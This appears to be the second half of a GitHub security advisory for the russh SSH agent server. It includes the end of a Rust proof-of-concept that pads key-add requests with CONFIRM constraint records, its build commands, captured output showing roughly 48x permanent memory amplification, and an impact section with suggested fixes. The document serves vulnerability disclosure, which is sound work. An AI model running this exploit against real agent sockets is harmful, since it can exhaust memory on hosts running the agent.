Advisory

GHSA-9wfm-jcj8-jfv9

Details, part 2 of 2. The advisory

Details

let resp = round(&mut attacker, add_key_plain(&key)).await;
println!(
"CONTROL round {}: unconstrained add, reply byte = {}, live = {:.2} MiB",
i,
resp,
live_mb()
);
}
let after_control = live_mb();
println!(
"CONTROL total delta: {:+.2} MiB after {} unconstrained adds",
after_control - baseline,
rounds
);

// ---- Attack leg: one 0x02-padded constrained add per round ----
for i in 0..rounds {
let key = fresh_key();
// frame budget minus key blob/comment/header; all remaining bytes are
// 1-byte CONFIRM records
let probe = add_key_confirm(&key, 1);
let n_confirms = FRAME_MAX - probe.len();
let resp = round(&mut attacker, add_key_confirm(&key, n_confirms)).await;
println!(
"ATTACK round {}: {}-byte frame with {} CONFIRM records, reply byte = {}, live = {:.2} MiB",
i,
FRAME_MAX,
n_confirms,
resp,
live_mb()
);
}
let after_attack = live_mb();
let attack_delta = after_attack - after_control;
println!(
"ATTACK total delta: {:+.2} MiB after {} constrained adds",
attack_delta, rounds
);
println!(
"per-request amplification: ~{:.1}x (input frame 262144 B -> retained {} B avg)",
attack_delta * 1024.0 * 1024.0 / (rounds as f64) / 262144.0,
((attack_delta * 1024.0 * 1024.0) / rounds as f64) as u64
);

// keys stay in the keystore forever (no lifetime): show retention persists
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
println!(
"after idle wait, live = {:.2} MiB (retained: server keystore still holds every constraint vector)",
live_mb()
);

let verdict_growth = after_attack - after_control;
if verdict_growth > 10.0 {
println!(
"VERDICT: VULNERABLE - attack leg retained {:.1} MiB vs control {:+.2} MiB; {:.1} MiB/round persisted, unbounded and renewable",
verdict_growth,
after_control - baseline,
verdict_growth / rounds as f64
);
} else {
println!(
"VERDICT: NOT REPRODUCED - growth {:.2} MiB below threshold",
verdict_growth
);
}
}
EOF
cargo build --release
./target/release/poc_agent_confirm_growth


Captured output from the running v0.64.1 agent server (verbatim; lines from the retained run log, paths shown relative to the PoC working directory):

$ ./target/release/poc_agent_confirm_growth.exe (built with: cargo +stable-x86_64-pc-windows-gnu build --release)
== poc_agent_confirm_growth ==
target: russh agent server (keys/agent/server.rs), frame cap 262144 bytes
baseline allocated: 0.11 MiB
CONTROL round 0: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 1: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 2: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 3: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 4: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL round 5: unconstrained add, reply byte = 6, live = 0.11 MiB
CONTROL total delta: +0.00 MiB after 6 unconstrained adds
ATTACK round 0: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 12.49 MiB
ATTACK round 1: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 24.49 MiB
ATTACK round 2: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 36.49 MiB
ATTACK round 3: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 48.49 MiB
ATTACK round 4: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 60.49 MiB
ATTACK round 5: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 72.49 MiB
ATTACK total delta: +72.38 MiB after 6 constrained adds
per-request amplification: ~48.3x (input frame 262144 B -> retained 12649017 B avg)
after idle wait, live = 72.49 MiB (retained: server keystore still holds every constraint vector)
VERDICT: VULNERABLE - attack leg retained 72.4 MiB vs control +0.00 MiB; 12.1 MiB/round persisted, unbounded and renewable


Output interpretation: the control leg issues the same number of key additions without constraints and the keystore keeps nothing, while each constrained request permanently retains about 12.1 MiB - roughly 48 times its 256 KiB wire size - and the memory is still held after an idle wait, confirming the records are kept for the life of the process rather than tied to the connection. Live-memory readings are instance-specific; the mechanism, per-record retention with no cap on the constraint vector or the keystore, is the stable verdict.

### Impact

Unrestricted resource allocation (CWE-770): any process able to reach the agent's socket - a local process, or a remote process on the far side of a forwarded agent - can drive the agent server into unbounded, permanent, renewable memory growth with ordinary-sized requests, degrading and eventually exhausting the host running the agent. The retained memory is never freed because constrained keys never expire, and the sibling lifetime-record fix in the same handler does not touch this path. A fix is to cap the number of constraint records accepted per key (and the number of keys held), reject unknown or duplicate record types, and bound the total memory the keystore may retain.

Sources & licences